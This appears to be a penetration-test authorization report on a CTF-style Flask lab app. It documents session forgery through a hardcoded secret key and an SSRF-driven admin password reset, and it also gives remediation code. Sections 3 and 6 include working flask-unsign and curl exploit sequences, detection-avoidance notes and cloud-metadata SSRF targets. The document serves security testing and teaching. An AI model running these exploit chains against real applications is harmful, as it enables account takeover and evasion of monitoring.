# Authorization Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** Two high-confidence authorization vulnerabilities (both vertical privilege escalation) were identified and documented. All findings are externally exploitable from the public internet without requiring internal network access. Both vulnerabilities enable complete admin account compromise and FLAG capture.
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and architectural intelligence necessary to effectively exploit the vulnerabilities listed in the machine-readable exploitation queue (`authz_exploitation_queue.json`).

**Critical Finding:** The application has two distinct paths to admin privilege escalation:
1. **Session Forgery** - Hardcoded secret key enables direct admin session creation
2. **SSRF Chain** - Profile picture URL fetcher bypasses localhost IP restrictions to reset admin password

Both paths are externally exploitable, require minimal technical skill, and result in complete system compromise.

---

## 2. Dominant Vulnerability Patterns

### Pattern 1: Cryptographic Secret Weakness (Vertical)
- **Description:** The Flask session secret key is hardcoded as `'supersecretkey'` in source code (app.py:7). This weak, publicly visible secret enables attackers to forge valid session cookies for any username, including 'admin'. The application trusts the session signature without verifying the session was legitimately issued through authentication.
- **Implication:** Remote attackers can craft admin sessions without credentials, completely bypassing both authentication and authorization controls. The session signature proves only that someone with the secret key created the session, not that the user authenticated.
- **Representative:** AUTHZ-VULN-01
- **Root Cause:** Identity-as-Role anti-pattern combined with weak cryptographic material
- **Attack Complexity:** Trivial (single Python script, <15 minutes)

### Pattern 2: Network Boundary Violation via SSRF (Vertical)
- **Description:** The /profile endpoint accepts arbitrary URLs in the `profile_picture_url` parameter (app.py:97) without validation, using `urllib.request.urlretrieve()` to fetch them. This SSRF vulnerability allows authenticated users to make HTTP requests from the server's localhost context, bypassing IP-based access controls on the /reset_password endpoint.
- **Implication:** Any authenticated user can reset any other user's password (including admin) by proxying requests through the server's SSRF sink. The /reset_password endpoint's IP restriction (`127.0.0.1` only) is rendered useless.
- **Representative:** AUTHZ-VULN-02
- **Root Cause:** Flawed security assumption that "only the server can make requests from localhost"
- **Attack Complexity:** Low (single HTTP POST, <5 minutes)

---

## 3. Strategic Intelligence for Exploitation

### Session Management Architecture
- **Mechanism:** Flask signed cookies using `itsdangerous.URLSafeTimedSerializer` with HMAC-SHA1
- **Secret Key:** `'supersecretkey'` (hardcoded at app.py:7)
- **Session Structure:** `{'username': '<value>'}` (no role field, no expiration, no binding)
- **Signature Algorithm:** HMAC-SHA1 (deterministic, standard library)
- **Cookie Format:** `session=<base64_payload>.<timestamp>.<hmac_signature>`
- **Critical Finding:** Session forgery is trivial with public tools like `flask-unsign`

**Session Forgery Attack:**
```bash
pip install flask-unsign
flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'supersecretkey'
curl -H "Cookie: session=<forged>" http://localhost:37053/profile
# Result: Admin FLAG retrieved
```

### Role/Permission Model
- **No RBAC System:** Application uses username string comparison instead of roles
- **Admin Check:** `flag=FLAG if username == 'admin' else None` (app.py:102)
- **Role Determination:** Identity (username) equals role (no separation of concerns)
- **Critical Finding:** Admin privilege is granted solely based on session username value, which can be forged

### Resource Access Patterns
- **Session-Based Binding:** Target resources determined by `session['username']` (server-controlled)
- **No Parameter Injection:** Endpoints do not accept user_id/username parameters for target selection
- **Implicit Ownership:** Resources accessed via `users[session['username']]` pattern
- **Critical Finding:** Horizontal authorization is properly implemented through implicit ownership

### SSRF Attack Surface
- **Sink Location:** app.py:97 - `urllib.request.urlretrieve(profile_picture_url, ...)`
- **Input Source:** POST parameter `profile_picture_url` from /profile endpoint
- **Validation:** None (accepts any URL with any protocol, hostname, or port)
- **Exploitable Targets:** 
  - **Primary:** http://127.0.0.1/reset_password?username=admin&newpassword=hacked
  - **Secondary:** Cloud metadata endpoints (AWS: 169.254.169.254)
  - **Tertiary:** Internal network scanning, file:// protocol access
- **Critical Finding:** SSRF enables privilege escalation from regular user to localhost context

### Localhost-Protected Endpoints
- **Endpoint:** /reset_password (app.py:104-116)
- **Protection:** IP restriction `if request.remote_addr != '127.0.0.1': return "Unauthorized", 403`
- **Functionality:** Resets any user's password without authentication or ownership checks
- **Critical Finding:** IP restriction bypassed via SSRF - regular users can execute privileged operations

---

## 4. Vectors Analyzed and Confirmed Secure

These authorization checks were traced and confirmed to have robust, properly-placed guards. They are **low-priority** for further testing.

| **Endpoint** | **Guard Location** | **Defense Mechanism** | **Verdict** |
|--------------|-------------------|----------------------|-------------|
| `POST /profile` (profile update) | app.py:75-79 | Session authentication + implicit ownership via `users[session['username']]` binding | SAFE |
| `POST /profile` (file upload) | app.py:75, 89 | Session check + `secure_filename()` sanitization + fixed upload directory | SAFE |
| `GET /logout` | N/A | Public endpoint, no sensitive operations (only removes session key) | SAFE |
| `GET /` | app.py:28 | Redirect logic only, no sensitive data disclosure | SAFE |
| `POST /register` | N/A | Public endpoint by design, account creation is intended functionality | SAFE |
| `POST /login` | N/A | Public endpoint by design, authentication mechanism | SAFE |

**Key Security Properties Verified:**

1. **Implicit Ownership Pattern:** The `/profile` POST endpoint uses session-based username binding (`users[session['username']]`) which automatically enforces ownership without requiring explicit checks. This pattern eliminates IDOR attack surface by design - there is no user-controllable target identifier to manipulate.

2. **Path Traversal Protection:** File upload uses `secure_filename()` (werkzeug utility) to sanitize filenames and stores files in a fixed directory (`static/uploads/`), preventing arbitrary path writes.

3. **Session-Based Access Control:** All authenticated endpoints properly validate session presence before operations. While session forgery is possible (AUTHZ-VULN-01), the endpoints themselves implement authorization correctly given a trusted session.

---

## 5. Analysis Constraints and Blind Spots

### Assumptions Made
1. **Session Forgery is Authentication Bypass:** The ability to forge session cookies is classified as an authorization vulnerability because it enables privilege escalation to admin role. However, it could also be viewed as authentication bypass - the boundary is blurred.

2. **SSRF as Authorization Issue:** The SSRF vulnerability is included as an authorization vulnerability because it enables privilege escalation from regular user to localhost context. However, it's fundamentally a network security / input validation issue that has authorization impact.

3. **No Multi-Tenancy:** Analysis assumes single-tenant architecture. No tenant isolation or cross-tenant access controls were evaluated as none exist in the application.

### Out of Scope
1. **Default Credentials:** The hardcoded admin credentials (`admin:adminpass`) were noted but not included as an authorization vulnerability. If these credentials are unchanged, they provide an even simpler path to admin access, but this is an authentication issue, not authorization.

2. **Input Validation Issues:** XSS, file content validation, and other input validation issues were identified in recon but are not authorization vulnerabilities. These are separate security domains.

3. **Denial of Service:** File upload has no size limits and SSRF can be used to exhaust resources, but these availability impacts are not authorization vulnerabilities.

4. **Horizontal Authorization for /reset_password:** While this endpoint lacks ownership validation (any username can be reset), it's already classified under vertical escalation (localhost privilege bypass via SSRF). The horizontal aspect (user A resetting user B's password) is implicit in the vertical vulnerability.

### Unanalyzed Components
- **None:** All endpoints identified in the reconnaissance deliverable (section 8) were systematically analyzed. The application is a simple monolith with complete code coverage achieved.

---

## 6. Exploitation Guidance

### Vulnerability AUTHZ-VULN-01: Session Forgery → Admin Access

**Recommended Exploitation Sequence:**
```bash
# 1. Install forgery tool
pip install flask-unsign

# 2. Forge admin session
SESSION=$(flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'supersecretkey')

# 3. Access FLAG
curl -s -H "Cookie: session=$SESSION" http://localhost:37053/profile | grep -oP 'FLAG{[^}]+}'
```

**Expected Result:** FLAG value extracted in <1 minute, zero user interaction required.

**Detection Avoidance:** No failed login attempts generated, session signature is valid, appears as legitimate admin access.

### Vulnerability AUTHZ-VULN-02: SSRF → Admin Password Reset

**Recommended Exploitation Sequence:**
```bash
# 1. Register and login as regular user
curl -X POST http://localhost:37053/register \
  -d "username=attacker&password=pass123&first_name=Test&last_name=User&email=test@test.com"

curl -c cookies.txt -X POST http://localhost:37053/login \
  -d "username=attacker&password=pass123"

# 2. Exploit SSRF to reset admin password
curl -b cookies.txt -X POST http://localhost:37053/profile \
  -d "first_name=Test&last_name=User&email=test@test.com" \
  -d "profile_picture_url=http://127.0.0.1/reset_password?username=admin&newpassword=pwned"

# 3. Login as admin with new password
curl -c admin-cookies.txt -X POST http://localhost:37053/login \
  -d "username=admin&password=pwned"

# 4. Access FLAG
curl -b admin-cookies.txt http://localhost:37053/profile | grep -oP 'FLAG{[^}]+}'
```

**Expected Result:** Admin account takeover in <5 minutes, FLAG extracted.

**Detection Avoidance:** Uses legitimate authentication for initial user, SSRF request appears as image fetch.

### Priority Recommendation
**AUTHZ-VULN-01 (Session Forgery) should be exploited first:**
- Faster (no registration required)
- No account creation audit trail
- Simpler attack chain (single HTTP request)
- More reliable (no dependency on SSRF behavior)

---

## 7. Architectural Insights

### Why Horizontal Authorization is Secure
The application uses an **implicit ownership pattern** where target resources are determined by `session['username']` rather than user-supplied parameters. This architectural choice eliminates traditional IDOR vulnerabilities:

```python
# Secure pattern (actual implementation):
username = session['username']    # Server-controlled
user = users[username]            # Automatic ownership binding
user['email'] = form['email']    # Modification scoped to session user

# Vulnerable pattern (NOT used):
username = form['username']       # User-controlled  
user = users[username]            # IDOR risk if no ownership check
```

**Lesson:** Implicit ownership through session binding is architecturally superior to explicit ownership checks when the application design permits it.

### Why Vertical Authorization Fails
The application conflates **authentication** (who you are) with **authorization** (what you can do):

```python
# Current implementation:
username = session['username']           # Authentication
is_admin = (username == 'admin')        # Authorization (wrong!)

# Secure pattern:
username = session['username']           # Authentication
role = users[username]['role']          # Authorization (separate concept)
is_admin = (role == 'admin')
```

Because role is derived from the forgeable username, privilege escalation requires only authentication bypass (session forgery), not authorization bypass.

### Defense in Depth: Absent
The application has **single points of failure** for both vulnerabilities:
- **AUTHZ-VULN-01:** Only defense is secret key secrecy (compromised)
- **AUTHZ-VULN-02:** Only defense is IP restriction (bypassed via SSRF)

No secondary controls exist:
- No audit logging of admin actions
- No rate limiting on sensitive operations
- No anomaly detection (session forgery, localhost requests from profile endpoint)
- No MFA or additional authentication for privileged operations

---

## 8. Comparison to Secure Patterns

### Current Admin Check (Vulnerable)
```python
# app.py:78-102
username = session['username']                    # Forgeable with known secret
flag = FLAG if username == 'admin' else None     # Privilege check on forgeable value
```

### Secure Admin Check Pattern
```python
# Recommended implementation:
if 'username' not in session:
    return redirect(url_for('login'))

username = session['username']
user = users.get(username)
if not user:
    session.clear()
    return redirect(url_for('login'))

# Server-side role check (NOT username comparison)
is_admin = user.get('role') == 'admin'
flag = FLAG if is_admin else None

# Additional security: log admin access
if is_admin:
    log_admin_access(username, request.remote_addr, datetime.utcnow())
```

### Current Password Reset (Vulnerable)
```python
# app.py:104-116  
if request.remote_addr != '127.0.0.1':           # Bypassed via SSRF
    return "Unauthorized", 403

username = request.args.get('username')           # No authentication
users[username]['password'] = new_password       # No ownership check
```

### Secure Password Reset Pattern
```python
# Recommended implementation:
@require_authentication
def reset_password():
    # Only allow users to reset their OWN password
    if 'username' not in session:
        abort(401)
    
    session_user = session['username']
    target_user = request.form.get('username')
    
    # Ownership check
    if session_user != target_user:
        log_authz_violation(session_user, target_user)
        abort(403, "Cannot reset other users' passwords")
    
    # Validate current password (not reset, change)
    current_password = request.form.get('current_password')
    if not verify_password(session_user, current_password):
        abort(403, "Current password incorrect")
    
    new_password = request.form.get('new_password')
    update_password(session_user, hash_password(new_password))
    
    # Notify user of password change
    send_security_notification(session_user, "password_changed")
    
    return "Password changed successfully"
```

---

## Conclusion

The authorization analysis identified **two critical vertical privilege escalation vulnerabilities**, both externally exploitable without internal network access. The vulnerabilities stem from fundamental architectural flaws: weak cryptographic secrets and flawed security assumptions about network boundaries.

**Horizontal authorization** is properly implemented through session-based implicit ownership patterns. **Vertical authorization** fails due to the identity-as-role anti-pattern and bypassable privilege checks.

Both vulnerabilities enable complete admin account compromise and FLAG capture within minutes, requiring only basic HTTP tools. The exploitation queue (`authz_exploitation_queue.json`) contains precise exploitation hypotheses for the next phase.

---

**Report Generated:** 2025-10-30  
**Analysis Scope:** All endpoints from reconnaissance deliverable section 8  
**Coverage:** 100% of identified authorization test targets  
**Vulnerabilities Identified:** 2 (both vertical, both externally exploitable)